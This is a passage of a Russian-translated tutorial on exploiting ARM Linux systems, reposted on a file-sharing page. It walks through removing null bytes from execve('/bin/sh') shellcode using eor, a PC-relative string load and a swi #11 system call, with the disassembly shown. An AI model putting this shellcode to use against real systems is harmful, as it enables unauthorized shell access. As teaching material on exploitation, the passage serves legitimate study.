Переведено для codeby. Net
Download 0.92 Mb. Pdf ko'rish
|
эксплуатация систем arm linux AFANX
5.2.1 Нормализация шеллкода
Для решения первой задачи и удаления символов "00" из строки мы можем очистить регистры r1 и r2 с помощью математической операции. Идеальной операцией является исключающее-или (инструкция eor). Если соединить два одинаковых значения, то результат всегда будет равен 0. Можно заменить в ассемблерном коде (алгоритм 5) строки: operation: ... mov r1, #0 mov r2, #0 вметсе с этим: operation: ... eor r1, r1 eor r2, r2 Первая проблема решена. Теперь мы можем перейти к вопросу загрузки адрес "/bin/sh" в r0. Одним из решений является встраивание строки в шеллкод в известном месте, и загрузить это значение в r0. Например, мы можем добавить строку в конце шеллкода и вычислить ее адресный регистр с помощью программного счетчика. 47 Рис. 18: Загрузка адреса "/bin/sh" Мы вычислим смещение строки позже, когда шеллкод будет завершен. Осталась только последняя проблема: вызов execve(). Было бы удобно запускать execve() напрямую, не обращая внимания на адрес функции libc. К счастью, Linux предоставляет нам множество операций, которые могут быть активированы через программные прерывания. Как мы видели в начальной части документа, инструкция swi (программное прерывание) очень важна, поскольку она позволяет программе в пользовательском режиме(User mode) делать вызовы к привилегированному коду операционной системы(Operating System code). Что нам нужно сделать, так это найти номер интересующего нас системного вызова, и сгенерировать прерывание. Список доступных номеров системных вызовов содержится в файле "linux/arch/arm/include/asm/unistd.h" (вы также можете найти этот файл онлайн - http://lxr.free- electrons.com/source/arch/arm/include/asm/unistd.h?v=2.6.32). Нас интересует системный вызов: ... #define __NR_SYSCALL_BASE 0 ... #define __NR_execve (__NR_SYSCALL_BASE+ 11) ... одиннадцатый. 48 Мы можем заменить эту строку ассемблерного кода (алгоритм 5), вызовом функции: operation: ... bl execve с инструкцией прерывания: operation: ... swi #11 Давайте посмотрим на результат: root@armstation# gcc shell.s -o shell2 root@armstation# objdump -d shell2 | grep " 00008364 8364: e1a0c00d mov ip, sp 8368: e92dd800 push {fp, ip, lr, pc} 836c: e24cb004 sub fp, ip, #4 ; 0x4 8370: e59f0014 ldr r0, [pc, #20] ; 838c 8374: e0211001 eor r1, r1, r1 8378: e0222002 eor r2, r2, r2 837c: ef00000b svc 0x0000000b 8380: e24bd00c sub sp, fp, #12 ; 0xc 8384: e89d6800 ldm sp, {fp, sp, lr} 8388: e12fff1e bx lr 838c: 00008450 .word 0x00008450 root@armstation# Все еще что-то не так: инструкция svc 0x0000000b (программное прерывание) переводится в шестнадцатеричную последовательность "ef00000b", которая содержит несколько нулей. Было бы неплохо иметь другой набор инструкций, более короткий, где эти нулей можно избежать… Download 0.92 Mb. Do'stlaringiz bilan baham: |
Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling
ma'muriyatiga murojaat qiling